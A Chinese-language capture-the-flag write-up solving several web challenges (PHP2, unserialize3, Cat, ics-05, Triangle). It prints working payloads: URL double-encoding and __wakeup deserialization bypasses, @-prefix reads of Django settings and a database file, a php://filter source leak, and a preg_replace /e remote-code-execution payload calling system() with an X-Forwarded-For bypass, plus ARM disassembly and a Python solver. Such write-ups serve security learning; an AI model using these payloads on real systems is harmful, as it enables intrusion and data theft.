网安实验被迫写WEB!

PHP2

考察.phps源码泄露、URL二次编码绕过

一开始我也没明白这个题是什么意思,看了大佬的wp才知道是有.phps源码泄露:

访问index.phps得到源码:

看源码就可以知道这个是很简单的URL二次编码绕过,所以payload:?id=ad%256din

flag到手。

unserialize3

绕过魔法函数sleep()和wakeup()的反序列化漏洞

题目名叫unserialize3,那应该是跟反序列化有关的题目。

看一下源码,出现了__wakeup()这个魔法函数:

unserialize()执行时会检查是否存在一个wakeup()方法。如果存在则先调用wakeup()方法,预先准备对象需要的资源。wakeup()经常用在反序列化操作中。sleep()则相反,是在序列化一个对象的时候被调用。

这个漏洞的核心是:序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup()的执行。

将题目中的类序列化得到结果:O:4:"xctf":1:{s:4:"flag";s:3:"111";}

简单解释一下这个字符串:

O代表结构类型为4表示类名长度,然后是类名成员个数

大括号内的值是:属性名类型长度名称值类型长度

如果我们把传入序列化字符串的属性个数改成比1更大的值,就不会触发__wakeup()方法,进而得到flag。

payload:?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}

Cat

个人感觉比较综合也比较难的题目,考察的是url编码和django的知识

打开网页发现是一个ping功能,但是输入正常的用户名没有反应,输入ip地址有反应:

本来因为题目名叫cat,又是ping,以为是命令执行,但是尝试了|&等都报错,提示Invalid URL。看来题目的本意并不是命令执行。

看了网上一个大佬的wp才知道这个是跟Django有关的。网站本身是用PHP写的,但是可能有Django的组成部分。

在url里传参%80报错(URL编码是0~127,80的十六进制是128自然报错),从报错信息的目录结构可以知道这个是Django的项目:

image-20210106224024807
image-20210106224024807

其他的没什么信息,又去看了看大佬的wp,发现这个原来还需要用PHP的@前缀:

根据Django的目录特性,用@进行文件传递,对文件进行读取之后将内容传给url参数,如果有错误信息就可以得到回显,进而取得更多错误信息、帮助我们拿到flag。

先看看settings.py:

payload: ?url=@/opt/api/api/settings.py

找到数据库文件的存放位置:

看看这个文件:

payload: ?url=@/opt/api/database.sqlite3

搜索CTF得到flag。

ics-05

进去之后随便点点发现了这个:

page=index,那应该可以用伪协议读出源码。

payload:page=php://filter/read=convert.base64-encode/resource=index.php

源码到手,base64解码一下:

<?php
error_reporting(0);

@session_start();
posix_setuid(1000);


?>
<!DOCTYPE HTML>
<html>

<head>
<meta charset="utf-8">
<meta name="renderer" content="webkit">
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
<link rel="stylesheet" href="layui/css/layui.css" media="all">
<title>设备维护中心</title>
<meta charset="utf-8">
</head>

<body>
<ul class="layui-nav">
<li class="layui-nav-item layui-this"><a href="?page=index">云平�设备维护中心</a></li>
</ul>
<fieldset class="layui-elem-field layui-field-title" style="margin-top: 30px;">
<legend>设备列表</legend>
</fieldset>
<table class="layui-hide" id="test"></table>
<script type="text/html" id="switchTpl">
<!-- 这里的 checked 的状��是演示 -->
<input type="checkbox" name="sex" value="{{d.id}}" lay-skin="switch" lay-text="å¼€|å
³" lay-filter="checkDemo" {{ d.id==1 0003 ? 'checked' : '' }}>
</script>
<script src="layui/layui.js" charset="utf-8"></script>
<script>
layui.use('table', function() {
var table = layui.table,
form = layui.form;

table.render({
elem: '#test',
url: '/somrthing.json',
cellMinWidth: 80,
cols: [
[
{ type: 'numbers' },
{ type: 'checkbox' },
{ field: 'id', title: 'ID', width: 100, unresize: true, sort: true },
{ field: 'name', title: '设备�', templet: '#nameTpl' },
{ field: 'area', title: '区域' },
{ field: 'status', title: '维护状�', minWidth: 120, sort: true },
{ field: 'check', title: '设备开å
³', width: 85, templet: '#switchTpl', unresize: true }
]
],
page: true
});
});
</script>
<script>
layui.use('element', function() {
var element = layui.element; //导航的hover效果�二级��等功能,需��赖element模�
//监�导航点击
element.on('nav(demo)', function(elem) {
//console.log(elem)
layer.msg(elem.text());
});
});
</script>

<?php

$page = $_GET[page];

if (isset($page)) {



if (ctype_alnum($page)) {
?>

<br /><br /><br /><br />
<div style="text-align:center">
<p class="lead"><?php echo $page; die();?></p>
<br /><br /><br /><br />

<?php

}else{

?>
<br /><br /><br /><br />
<div style="text-align:center">
<p class="lead">
<?php

if (strpos($page, 'input') > 0) {
die();
}

if (strpos($page, 'ta:text') > 0) {
die();
}

if (strpos($page, 'text') > 0) {
die();
}

if ($page === 'index.php') {
die('Ok');
}
include($page);
die();
?>
</p>
<br /><br /><br /><br />

<?php
}}


//方便的实现输å
¥è¾“出的功能,正在开å�‘中的功能,å�ªèƒ½å†
部人员测试

if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {

echo "<br >Welcome My Admin ! <br >";

$pattern = $_GET[pat];
$replacement = $_GET[rep];
$subject = $_GET[sub];

if (isset($pattern) && isset($replacement) && isset($subject)) {
preg_replace($pattern, $replacement, $subject);
}else{
die();
}

}





?>

</body>

</html>

发现了危险函数preg_replace(),存在命令执行漏洞。

preg_replace( pattern , replacement , subject ) : 当pattern指明/e标志时 ,preg_replace()会将replacement部分的代码当作PHP代码执行 (简单的说就是将replacement参数值放入eval()结构中)

payload:/index.php?pat=/test/e&rep=phpinfo()&sub=test,这里还需要一个XFF绕过(至于为什么请看源码),可以用BurpSuite的Repeater来测试:

最终拿到flag的payload:/index.php?pat=/test/e&rep=system('cat%20./s3chahahaDir/flag/flag.php')&sub=test

Triangle

进去之后先读一波JavaScript源码,源码的格式比较乱,可以用Chrome自带的代码格式化功能格式化一下:

util.js

function test_pw(e, _) {
var t = stoh(atob(getBase64Image("eye")))
, r = 4096
, m = 8192
, R = 12288
, a = new uc.Unicorn(uc.ARCH_ARM,uc.MODE_ARM);
a.reg_write_i32(uc.ARM_REG_R9, m),
a.reg_write_i32(uc.ARM_REG_R10, R),
a.reg_write_i32(uc.ARM_REG_R8, _.length),
a.mem_map(r, 4096, uc.PROT_ALL);
for (var o = 0; o < o1.length; o++)
a.mem_write(r + o, [t[o1[o]]]);
a.mem_map(m, 4096, uc.PROT_ALL),
a.mem_write(m, stoh(_)),
a.mem_map(R, 4096, uc.PROT_ALL),
a.mem_write(R, stoh(e));
var u = r
, c = r + o1.length;
return a.emu_start(u, c, 0, 0),
a.reg_read_i32(uc.ARM_REG_R5)
}
function enc_pw(e) {
var _ = stoh(atob(getBase64Image("frei")))
, t = 4096
, r = 8192
, m = 12288
, R = new uc.Unicorn(uc.ARCH_ARM,uc.MODE_ARM);
R.reg_write_i32(uc.ARM_REG_R8, r),
R.reg_write_i32(uc.ARM_REG_R9, m),
R.reg_write_i32(uc.ARM_REG_R10, e.length),
R.mem_map(t, 4096, uc.PROT_ALL);
for (var a = 0; a < o2.length; a++)
R.mem_write(t + a, [_[o2[a]]]);
R.mem_map(r, 4096, uc.PROT_ALL),
R.mem_write(r, stoh(e)),
R.mem_map(m, 4096, uc.PROT_ALL);
var o = t
, u = t + o2.length;
return R.emu_start(o, u, 0, 0),
htos(R.mem_read(m, e.length))
}
function get_pw() {
for (var e = stoh(atob(getBase64Image("templar"))), _ = "", t = 0; t < o3.length; t++)
_ += String.fromCharCode(e[o3[t]]);
return _
}

secret.js

function test_pw(e, _) {
var t = stoh(atob(getBase64Image("eye")))
, r = 4096
, m = 8192
, R = 12288
, a = new uc.Unicorn(uc.ARCH_ARM,uc.MODE_ARM);
a.reg_write_i32(uc.ARM_REG_R9, m),
a.reg_write_i32(uc.ARM_REG_R10, R),
a.reg_write_i32(uc.ARM_REG_R8, _.length),
a.mem_map(r, 4096, uc.PROT_ALL);
for (var o = 0; o < o1.length; o++)
a.mem_write(r + o, [t[o1[o]]]);
a.mem_map(m, 4096, uc.PROT_ALL),
a.mem_write(m, stoh(_)),
a.mem_map(R, 4096, uc.PROT_ALL),
a.mem_write(R, stoh(e));
var u = r
, c = r + o1.length;
return a.emu_start(u, c, 0, 0),
a.reg_read_i32(uc.ARM_REG_R5)
}
function enc_pw(e) {
var _ = stoh(atob(getBase64Image("frei")))
, t = 4096
, r = 8192
, m = 12288
, R = new uc.Unicorn(uc.ARCH_ARM,uc.MODE_ARM);
R.reg_write_i32(uc.ARM_REG_R8, r),
R.reg_write_i32(uc.ARM_REG_R9, m),
R.reg_write_i32(uc.ARM_REG_R10, e.length),
R.mem_map(t, 4096, uc.PROT_ALL);
for (var a = 0; a < o2.length; a++)
R.mem_write(t + a, [_[o2[a]]]);
R.mem_map(r, 4096, uc.PROT_ALL),
R.mem_write(r, stoh(e)),
R.mem_map(m, 4096, uc.PROT_ALL);
var o = t
, u = t + o2.length;
return R.emu_start(o, u, 0, 0),
htos(R.mem_read(m, e.length))
}
function get_pw() {
for (var e = stoh(atob(getBase64Image("templar"))), _ = "", t = 0; t < o3.length; t++)
_ += String.fromCharCode(e[o3[t]]);
return _
}

unicorn.js是一个JavaScript框架的源码,暂时不去管它。

我们把get_pw()在console里执行一下得到返回值:

image-20210106224107993
image-20210106224107993

执行enc_pw和test_pw得到返回值:

enc_pw: \x08\x00\xa0\xe1\x09\x10\xa0\xe1\x0a\x20\xa0\xe1\x00\x30\xa0\xe3\x00\x50\xa0\xe3\x00\x40\xd0\xe5\x01\x00\x55\xe3\x01\x00\x00\x1a\x03\x60\x03\xe2\x06\x40\x84\xe0\x06\x40\x84\xe2\x01\x50\x04\xe2\x00\x40\xc1\xe5\x01\x00\x80\xe2\x01\x10\x81\xe2\x01\x30\x83\xe2\x02\x00\x53\xe1\xf2\xff\xff\xba\x00\x00\xa0\xe3\x00\x10\xa0\xe3\x00\x20\xa0\xe3\x00\x30\xa0\xe3\x00\x40\xa0\xe3\x00\x50\xa0\xe3\x00\x60\xa0\xe3\x00\x70\xa0\xe3\x00\x90\xa0\xe3\x00\xa0\xa0\xe3

test_pw: \x09\x00\xa0\xe1\x0a\x10\xa0\xe1\x08\x30\xa0\xe1\x00\x40\xa0\xe3\x00\x50\xa0\xe3\x00\xc0\xa0\xe3\x00\x20\xd0\xe5\x00\x60\xd1\xe5\x05\x60\x86\xe2\x01\xc0\x04\xe2\x00\x00\x5c\xe3\x00\x00\x00\x0a\x03\x60\x46\xe2\x06\x00\x52\xe1\x05\x00\x00\x1a\x01\x00\x80\xe2\x01\x10\x81\xe2\x01\x40\x84\xe2\x03\x00\x54\xe1\xf1\xff\xff\xba\x01\x50\xa0\xe3\x00\x00\xa0\xe3\x00\x10\xa0\xe3\x00\x20\xa0\xe3\x00\x30\xa0\xe3\x00\x40\xa0\xe3\x00\x60\xa0\xe3\x00\x70\xa0\xe3\x00\x80\xa0\xe3\x00\x90\xa0\xe3\x00\xa0\xa0\xe3\x00\xc0\xa0\xe3

直接转换得到的是乱码,卡了一会儿后才发现js源码中出现了“ARM”,同时Unicorn.js里也有不少“ARM”:

百度了一下发现是一种CPU,并找到一个十六进制与ARM代码的转换器:http://armconverter.com/hextoarm/

把text_pw和enc_pw得到的十六进制字符串去掉前面的\x并用转换器转换一下,得到以下汇编代码:

enc_pw:

MOV R0, R8
MOV R1, SB
MOV R2, SL
MOV R3, #0
MOV R5, #0
LDRB R4, [R0]
CMP R5, #1
BNE #0x28
AND R6, R3, #3
ADD R4, R4, R6
ADD R4, R4, #6
AND R5, R4, #1
STRB R4, [R1]
ADD R0, R0, #1
ADD R1, R1, #1
ADD R3, R3, #1
CMP R3, R2
BLT #0x14
MOV R0, #0
MOV R1, #0
MOV R2, #0
MOV R3, #0
MOV R4, #0
MOV R5, #0
MOV R6, #0
MOV R7, #0
MOV SB, #0
MOV SL, #0

test_pw:

MOV R0, SB
MOV R1, SL
MOV R3, R8
MOV R4, #0
MOV R5, #0
MOV IP, #0
LDRB R2, [R0]
LDRB R6, [R1]
ADD R6, R6, #5
AND IP, R4, #1
CMP IP, #0
BEQ #0x34
SUB R6, R6, #3
CMP R2, R6
BNE #0x54
ADD R0, R0, #1
ADD R1, R1, #1
ADD R4, R4, #1
CMP R4, R3
BLT #0x18
MOV R5, #1
MOV R0, #0
MOV R1, #0
MOV R2, #0
MOV R3, #0
MOV R4, #0
MOV R6, #0
MOV R7, #0
MOV R8, #0
MOV SB, #0
MOV SL, #0
MOV IP, #0

完全不懂汇编的本渣渣表示彻底懵了,难道Web和逆向都精通才是未来的趋势吗???

这其实是道逆向题。(雾)

于是只好去搜了wp,发现上面的汇编码用Python写是这样的:

enc_pw:

def enc_pw(s):
res = ''
f = 0
for i, c in enumerate(s):
c = ord(c)
if f == 1:
c += i & 3
c += 6
f = c & 1
res += chr(c)
return res

test_pw:

def test_pw(s, t):
for i, (c, d) in enumerate(zip(s, t)):
c, d = ord(c), ord(d)
c += 5
if i & 1:
c -= 3
if c != d:
return 0
return 1

解密脚本:

import string

def enc_pw(s):
res = ''
f = 0
for i, c in enumerate(s):
c = ord(c)
if f == 1:
c += i & 3
c += 6
f = c & 1
res += chr(c)
return res

encrypted = 'XYzaSAAX_PBssisodjsal_sSUVWZYYYb'
flag = ''
for i, c in enumerate(encrypted):
c = ord(c)
c -= 5
if i & 1 != 0:
c += 3
for d in string.printable:
if enc_pw(flag + d)[i] == chr(c):
flag += d
break
print flag

跑一下这个脚本得到flag